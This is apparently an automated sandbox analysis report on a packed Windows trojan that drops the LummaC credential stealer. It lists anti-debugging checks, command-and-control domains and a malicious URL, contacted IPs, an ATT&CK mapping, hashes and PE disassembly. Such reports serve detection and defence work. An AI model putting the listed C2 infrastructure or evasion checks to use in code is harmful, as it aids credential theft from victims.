Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	File opened: NTICE
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	File opened: SICE
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe

Code function: 1_2_00D7BAD0 LdrInitializeThunk,

1_2_00D7BAD0

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.00000000070D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: censeractersj.click

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process created: C:\Users\user\AppData\Local\Temp\LummaC2.exe "C:\Users\user\AppData\Local\Temp\LummaC2.exe"			Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process created: C:\Users\user\AppData\Local\Temp\Set-up.exe "C:\Users\user\AppData\Local\Temp\Set-up.exe"			Jump to behavior

Source: QzK1LCSuq2.exe, QzK1LCSuq2.exe, 00000000.00000002.1751265655.000000000182B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Set-up.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	Binary or memory string: procmon.exe
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 185.121.15.192:80

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	12 Process Injection	1 Masquerading	OS Credential Dumping	841 Security Software Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	12 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	261 Virtualization/Sandbox Evasion	Security Account Manager	261 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	214 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
QzK1LCSuq2.exe	66%	ReversingLabs	Win32.Trojan.Amadey
QzK1LCSuq2.exe	100%	Avira	HEUR/AGEN.1313526
QzK1LCSuq2.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\LummaC2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\LummaC2.exe	55%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\Set-up.exe	26%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003	100%	Avira URL Cloud	malware
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP13	100%	Avira URL Cloud	malware
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003?argument=0	100%	Avira URL Cloud	malware
censeractersj.click	0%	Avira URL Cloud	safe
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP173521000335a1	100%	Avira URL Cloud	malware
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003http://home.fortth14ht.top/nTrmoVgOaovBJpKS	100%	Avira URL Cloud	malware
https://httpbin.org/ip_NAME_l	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
home.fortth14ht.top	185.121.15.192	true	false		high
httpbin.org	3.218.7.103	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003	true	Avira URL Cloud: malware	unknown
wordyfindy.lat	false		high
slipperyloo.lat	false		high
curverpluch.lat	false		high
tentabatte.lat	false		high
bashfulacid.lat	false		high
manyrestro.lat	false		high
censeractersj.click	true	Avira URL Cloud: safe	unknown
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003?argument=0	true	Avira URL Cloud: malware	unknown
shapestickyr.lat	false		high
https://httpbin.org/ip	false		high
talkynicer.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://curl.se/docs/hsts.html	Set-up.exe.0.dr	false		high
http://html4/loose.dtd	QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	false		high
https://httpbin.org/ipbefore	QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	false		high
https://curl.se/docs/http-cookies.html	QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	false		high
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP13	Set-up.exe.0.dr	false	Avira URL Cloud: malware	unknown
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP173521000335a1	Set-up.exe, 00000002.00000003.2009422794.00000000011A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003http://home.fortth14ht.top/nTrmoVgOaovBJpKS	Set-up.exe, 00000002.00000002.2010371783.0000000000729000.00000004.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: malware	unknown
https://curl.se/docs/alt-svc.html	Set-up.exe.0.dr	false		high
https://httpbin.org/ip_NAME_l	Set-up.exe, 00000002.00000003.1755733534.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	false		high
http://.jpg	QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.121.15.192	home.fortth14ht.top	Spain		207046	REDSERVICIOES	false
3.218.7.103	httpbin.org	United States		14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581395
Start date and time:	2024-12-27 14:55:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QzK1LCSuq2.exe renamed because original name is a hash value
Original Sample Name:	7047b240f5a5e866262dfcc36f919f3d.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/3@8/2
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target QzK1LCSuq2.exe, PID 4432 because it is empty
Execution Graph export aborted for target Set-up.exe, PID 2056 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: QzK1LCSuq2.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.121.15.192	OAKPYEH4c6.exe	Get hash	malicious	LummaC	Browse	home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003
	YrxiR3yCLm.exe	Get hash	malicious	LummaC	Browse	home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003
	Cph7VEeu1r.exe	Get hash	malicious	LummaC	Browse	home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003
	3stIhG821a.exe	Get hash	malicious	LummaC	Browse	home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003
	8wiUGtm9UM.exe	Get hash	malicious	LummaC	Browse	home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003
	vJPhYDClT5.exe	Get hash	malicious	Unknown	Browse	home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
	jklg6EIhyR.exe	Get hash	malicious	Unknown	Browse	home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
	qr2JeuLuOQ.exe	Get hash	malicious	Unknown	Browse	home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
	E6rBvcWFWu.exe	Get hash	malicious	Unknown	Browse	home.twentytk20ht.top/TQIuuaqjNpwYjtUvFojm1734579850
3.218.7.103	OoYYtngD7d.exe	Get hash	malicious	Unknown	Browse
	NWJ4JvzFcs.exe	Get hash	malicious	Unknown	Browse
	EwhnoHx0n5.exe	Get hash	malicious	Unknown	Browse
	PqHnYMj5eF.exe	Get hash	malicious	Unknown	Browse
	YrxiR3yCLm.exe	Get hash	malicious	LummaC	Browse
	qZA8AyGxiA.exe	Get hash	malicious	Unknown	Browse
	Cph7VEeu1r.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	xXe4fTmV2h.exe	Get hash	malicious	Unknown	Browse
	lolvgcpX19.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
httpbin.org	dZsdMl5Pwl.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	OAKPYEH4c6.exe	Get hash	malicious	LummaC	Browse	34.226.108.155
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	34.226.108.155
	BkB1ur7aFW.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	OoYYtngD7d.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
	NWJ4JvzFcs.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
	EwhnoHx0n5.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
	PqHnYMj5eF.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
	YrxiR3yCLm.exe	Get hash	malicious	LummaC	Browse	3.218.7.103
	qZA8AyGxiA.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
home.fortth14ht.top	OAKPYEH4c6.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	YrxiR3yCLm.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	Cph7VEeu1r.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	3stIhG821a.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	8wiUGtm9UM.exe	Get hash	malicious	LummaC	Browse	185.121.15.192

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	dZsdMl5Pwl.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	OAKPYEH4c6.exe	Get hash	malicious	LummaC	Browse	34.226.108.155
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	34.226.108.155
	BkB1ur7aFW.exe	Get hash	malicious	Unknown	Browse	34.226.108.155
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	34.226.108.155
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	34.195.210.183
	OoYYtngD7d.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
	NWJ4JvzFcs.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
	EwhnoHx0n5.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
	PqHnYMj5eF.exe	Get hash	malicious	Unknown	Browse	3.218.7.103
REDSERVICIOES	OAKPYEH4c6.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	YrxiR3yCLm.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	Cph7VEeu1r.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	3stIhG821a.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.121.15.192
	8wiUGtm9UM.exe	Get hash	malicious	LummaC	Browse	185.121.15.192
	vJPhYDClT5.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	jklg6EIhyR.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	qr2JeuLuOQ.exe	Get hash	malicious	Unknown	Browse	185.121.15.192

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Set-up.exe	OAKPYEH4c6.exe	Get hash	malicious	LummaC	Browse
	ZTM2pfyhu3.exe	Get hash	malicious	LummaC	Browse
	YrxiR3yCLm.exe	Get hash	malicious	LummaC	Browse
	Cph7VEeu1r.exe	Get hash	malicious	LummaC	Browse
	3stIhG821a.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	8wiUGtm9UM.exe	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\LummaC2.exe	OAKPYEH4c6.exe	Get hash	malicious	LummaC	Browse
	YrxiR3yCLm.exe	Get hash	malicious	LummaC	Browse
	Cph7VEeu1r.exe	Get hash	malicious	LummaC	Browse
	3stIhG821a.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	8wiUGtm9UM.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QzK1LCSuq2.exe.log

Download File

Process:	C:\Users\user\Desktop\QzK1LCSuq2.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Temp\LummaC2.exe

Download File

Process:	C:\Users\user\Desktop\QzK1LCSuq2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	299520
Entropy (8bit):	6.860310132420335
Encrypted:	false
SSDEEP:	6144:R5s/zt4HV88/rCatOZFABeDUbLv0uC8r9qMq2E9ND43F+ZnSi4:8rtsVPrNMG9qwENs8ZJ4
MD5:	607000C61FCB5A41B8D511B5ED7625D4
SHA1:	DFAA2BFEA8A51B14AC089BB6A39F037E769169D1
SHA-256:	C9831759E15B3A52238C03D0D51DB9DE0C1A6C7A61A51DE72C5869061172E9DB
SHA-512:	64940F02635CCBC2DCD42449C0C435A6A50BD00FA93D6E2E161371CDC766103EF858CCBAAE4497A75576121EA7BC25BA54A9064748F9D6676989A4C9F8B50E58
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Joe Sandbox View:	Filename: OAKPYEH4c6.exe, Detection: malicious, Browse Filename: YrxiR3yCLm.exe, Detection: malicious, Browse Filename: Cph7VEeu1r.exe, Detection: malicious, Browse Filename: 3stIhG821a.exe, Detection: malicious, Browse Filename: DRWgoZo325.exe, Detection: malicious, Browse Filename: 8wiUGtm9UM.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...xZig............................ .............@..........................P............@.....................................................................(9...................................................................................text............................... ..`.rdata... ......."..................@..@.data...L....0...P..................@....reloc..(9.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Set-up.exe

Download File

Process:	C:\Users\user\Desktop\QzK1LCSuq2.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6851208
Entropy (8bit):	6.451509958428788
Encrypted:	false
SSDEEP:	98304:ty1CDpiB/weoINcERH7q/70/ske9dKVyz8SC:jViB/NooB7edGG8SC
MD5:	2A99036C44C996CEDEB2042D389FE23C
SHA1:	4F1E624BCC030E44722DE26B72C8156BF57E14E8
SHA-256:	73AA5EE19F0EA048DCFF2F44D6FD5AC41C13E2D7E61371459E756836F72CAD43
SHA-512:	6907CD0E47293C8C96345ED00F2F3FA2241CE1671EE73A599837857BFB39F6C7E373AAD843CC78FB550D2DB10BDFE066A021CEC4C8A49AECDF06A7E71EDADEDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Joe Sandbox View:	Filename: OAKPYEH4c6.exe, Detection: malicious, Browse Filename: ZTM2pfyhu3.exe, Detection: malicious, Browse Filename: YrxiR3yCLm.exe, Detection: malicious, Browse Filename: Cph7VEeu1r.exe, Detection: malicious, Browse Filename: 3stIhG821a.exe, Detection: malicious, Browse Filename: DRWgoZo325.exe, Detection: malicious, Browse Filename: 8wiUGtm9UM.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5mg...............(.hK...h..2............K...@...........................i......h...@... ..............................`e..-....................h.......e.`L...........................0d......................he. ............................text....gK......hK.................`..`.data...D(....K..*...lK.............@....rdata........O.. ....O.............@..@.eh_framdM....d..N....d.............@..@.bss.....1... e..........................idata...-...`e.......e.............@....CRT....0.....e......2e.............@....tls..........e......4e.............@....reloc..`L....e..N...6e.............@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.98335451815255
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QzK1LCSuq2.exe
File size:	6'195'712 bytes
MD5:	7047b240f5a5e866262dfcc36f919f3d
SHA1:	fe3bb7905f269927ca4f7145d0abc551b4a8e5aa
SHA256:	23f525572220eef117b077bc9ee2a39729a0b9b3c58543c814084e63bfca8e34
SHA512:	5d5123f969ef1903e9cc49cdea7d551099f9e53620b760f13ec8c6ed076d064d2764507f557d01e326c5436b177a5e5768862a461dae8ef51788c946f0f20d3c
SSDEEP:	98304:Lg9hy0Oetf5YeyIuyVIUIUogjNWiGumVNwN4HpQBr+s6Msi6diL4KjtxntM:s6pe/zyIneSosWijswNluHOtt
TLSH:	24563349AC5E3A03F01AE9327125285F716E6C88C31C79F2BAF74671D262375977C88B
File Content Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....mg.................<m.............. ...`m...@.. ..............................`m_...@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xf28000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE
Time Stamp:	0x676D92AB [Thu Dec 26 17:30:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5B54B3E5AAh
punpckhbw mm3, qword ptr [esi+00h]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F5B54B405A5h
add byte ptr [ebx], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], dl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
